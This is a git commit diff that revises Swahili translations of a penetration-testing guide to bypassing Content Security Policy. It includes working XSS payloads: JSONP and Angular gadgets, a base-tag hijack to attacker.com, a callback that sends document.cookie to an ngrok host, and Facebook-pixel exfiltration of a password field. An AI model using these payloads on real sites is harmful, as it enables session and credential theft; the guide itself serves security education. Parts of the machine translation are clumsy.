Translated ['src/generic-methodologies-and-resources/external-recon-meth

This commit is contained in:
Translator 2025-01-27 16:55:38 +00:00
parent bade0b812b
commit ebd51ea2cb
3 changed files with 49 additions and 46 deletions

View File

@ -78,6 +78,9 @@ def ref(matchobj):
sys.exit(1)
if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})

View File

@ -9,7 +9,7 @@ Hii inasaidia katika matukio kadhaa kutafuta **habari zilizovuja** au kwa mifumo
- [**Sourcebot**](https://www.sourcebot.dev/): Zana ya kutafuta msimbo wa chanzo wazi. Panga na tafuta katika maelfu ya repos zako kupitia kiolesura cha mtandao cha kisasa.
- [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika maelfu ya repos. Kuna toleo la bure na toleo la biashara (pamoja na siku 15 za bure). Inasaidia regexes.
- [**Github Search**](https://github.com/search): Tafuta katika Github. Inasaidia regexes.
- Labda pia ni muhimu kuangalia pia [**Github Code Search**](https://cs.github.com/).
- Huenda pia ikawa muhimu kuangalia pia [**Github Code Search**](https://cs.github.com/).
- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes.
- [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika mamilioni ya miradi.

View File

@ -21,11 +21,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
- `Content-Security-Policy`: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote.
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Ni bora kwa majaribio katika mazingira ya kabla ya uzalishaji.
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.
### Defining Resources
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama vile utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
```bash
default-src 'none';
img-src 'self';
@ -89,7 +89,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
</details>
- `'sha256-<hash>'`: Inaruhusu skripti zilizo na hash maalum ya sha256.
- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash.
- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa imeorodheshwa na nonce au hash.
- `'host'`: Inaelezea mwenyeji maalum, kama `example.com`.
- `https:`: Inapunguza URL kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizo tengenezwa kupitia JavaScript).
@ -97,7 +97,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaokiuka katika ripoti ya ukiukaji (inafaa kwa urekebishaji).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma tu asili wakati ombi ni la kuvuka asili.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitarudisha mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
## Kanuni za CSP zisizo salama
@ -126,7 +126,7 @@ Kifaa kinachofanya kazi:
```
### strict-dynamic
Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
Ikiwa unaweza kwa namna fulani kufanya **kodikali ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodikali yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
### Wildcard (\*)
```yaml
@ -155,7 +155,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii:
Kifaa kinachofanya kazi:
Payload inayofanya kazi:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
@ -200,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kipande cha `window`**.
> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kipande cha `window`**.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -230,7 +230,7 @@ Angular XSS kutoka kwa jina la darasa:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Kutumia vibaya msimbo wa google recaptcha JS
#### Kutumia vibaya msimbo wa JS wa google recaptcha
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:
```html
@ -268,13 +268,13 @@ https://www.google.com/amp/s/example.com/
```
Kunyanyaswa \*.google.com/script.google.com
Inawezekana kunyanyaswa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Mipangilio ya Tatu + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -286,11 +286,11 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.**
Uthibitisho sawa utaweza kutokea ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinatambulika, redirects zinatambulika.
Uthibitisho sawa utaweza kutokea ikiwa **kiwango kinachotegemewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinategemewa, redirects zinategemewa.
### Matumizi Mabaya ya Watu wa Tatu
### Matumizi Mabaya ya Viongozi wa Tatu
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya watu wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya watu hawa wa tatu ni:
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya viongozi wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya viongozi hawa wa tatu ni:
| Kitu | Tovuti Iliyoruhusiwa | Uwezo |
| ----------------- | -------------------------------------------- | ------------ |
@ -303,7 +303,7 @@ Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-c
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Ikiwa utapata mojawapo ya tovuti zilizoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Ikiwa utapata yoyote ya tovuti zilizoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya viongozi wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Kwa mfano, ikiwa utapata CSP ifuatayo:
```
@ -318,7 +318,7 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data.
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
Kuhusu maeneo mengine saba ya tatu yanayobainishwa katika jedwali lililotangulia, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya mengine ya wahusika wa tatu.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -341,11 +341,11 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez
```
Brahara hatimaye itapakia `https://example.com/scripts/angular/angular.js`.
Hii inafanya kazi kwa sababu kwa brahara, unachukua faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
Hii inafanya kazi kwa sababu kwa brahara, unapo pakia faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Kwa **kutumia hii kutokuelewana katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili.
@ -361,29 +361,29 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya **ipakie** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unachukuliwa na **httpS**, tumia URL ya httpS katika base.
Zaidi ya hayo, ikiwa **ukurasa unapo pakia script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya iwe **pakuwe** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unapo pakia kwa **httpS**, tumia URL ya httpS katika base.
```html
<base href="https://www.attacker.com/" />
```
### Matukio ya AngularJS
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu cha asili cha matukio ya kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, kinachoshikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, ambapo kitu cha `window` kipo daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu maalum `$event`, kinachorejelea kitu asilia cha tukio la kivinjari. Kitu hiki `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu `$event/event` kina sifa ya `path`, ikishikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, huku kitu `window` kikiwa kimewekwa daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka sandbox.
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hii sehemu inaonyesha matumizi ya `ng-focus` directive ili kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia kituo cha `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
Hii snippet inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia objekti ya `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
**Pata bypass nyingine za Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS na kikoa kilichoorodheshwa
### AngularJS na domain iliyoorodheshwa
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupitishwa kupitia mwito wa kazi za kurudi na baadhi ya madarasa yaliyo hatarini. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupitishwa kupitia mwito wa kazi za kurudi na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads zinazofanya kazi:
```html
@ -419,15 +419,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inachukuliwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inazingatiwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kuzunguka kikomo cha njia.
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haizingatiwi**, na **skripti inaweza kupakiwa**, hivyo kuweza kupita kikomo cha njia.
Kwa kuelekezwa hivi, hata kama njia imeelezwa kikamilifu, bado itazungukwa.
Kwa kuelekezwa hivi, hata kama njia imeelezwa kikamilifu, bado itapita.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
### Zungusha CSP na alama zisizokamilika
### Pita CSP na alama zisizokamilika
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/index.html).
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Unaweza pia kutumia usanidi huu **kuchaji msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kuchaji picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" ili **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **kuchaji** **picha**, **kuondoa** **JS** kutoka kwake na **kutekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Unaweza pia kutumia usanidi huu **kuchaji msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kuchaji picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" ili **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **kuchaji** **picha**, **kuondoa** **JS** kutoka kwake na **kuitekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Kwa Wafanyakazi wa Huduma
@ -462,7 +462,7 @@ Kazi ya wafanyakazi wa huduma **`importScripts`** haipunguzwi na CSP:
#### Chrome
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu script 'unsafe-inline'** na mojawapo ya hizi bypasses:
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu skripti 'unsafe-inline'** na mojawapo ya hizi bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,9 +478,9 @@ Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cs
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
Tazama ukosefu wa agizo `'unsafe-inline'`\
Wakati huu unaweza kumfanya mwathirika **kupakia** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu unaweza kumfanya mwathirika **kupakia** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ambao ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu **bendera** itatoa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:
Wakati huu **bendera** itachukuliwa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -548,9 +548,9 @@ Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-byp
### CSP bypass by restricting CSP
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapita kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye ukaguzi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapita kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu script tofauti ili kupakia script isiyo na mpangilio**.
Unaweza **kudhibiti CSP ya Iframe** kwa kutumia **`csp`** sifa:
Unaweza **kuzuia CSP ya Iframe** kwa kutumia **`csp`** sifa:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Ikiwa unaweza kusababisha seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Ikiwa unaweza kusababisha server ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye server yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa server kutoka `Content-Security-Policy-Report-Only`.
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -580,10 +580,10 @@ document.querySelector("DIV").innerHTML =
### Kueneza Taarifa kwa CSP na Iframe
- `iframe` inaundwa inayolenga URL (tuiite `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
- URL hii kisha inaelekeza kwenye URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa cha URI iliyozuiwa, ikivuja jina la siri la kikoa ambacho URL ya awali ilielekeza.
- URL hii kisha inarejelea URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa la URI iliyozuiwa, ikieneza jina la siri ambalo URL ya awali ilirejelea.
Ni ya kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha uvujaji wa taarifa nyeti kutokana na tabia isiyoeleweka.
Ni muhimu kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, na kusababisha uwezekano wa kueneza taarifa nyeti kutokana na tabia isiyoeleweka.
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiwa au kuruhusiwa subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
```markdown
@ -599,7 +599,7 @@ Trick kutoka [**hapa**](https://ctftime.org/writeup/29310).
### Makosa ya PHP wakati wa param nyingi
Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). **`header()`** yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP **haitatumwa** kwa sababu ya kosa ambalo hili litazalisha.
Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). **`header()`** yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP **haitatumwa** kwa sababu ya kosa ambalo hili litakusababisha.
### Kupita kwa buffer ya majibu ya PHP
@ -625,7 +625,7 @@ SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha u
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Zaidi ya hayo, **wordpress** ina **JSONP** kiungo katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na nukta pekee).
Zaidi ya hayo, **wordpress** ina **JSONP** kiungo katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na alama za nukta pekee).
Mshambuliaji anaweza kutumia kiungo hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo cha callback kilichoharibika** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
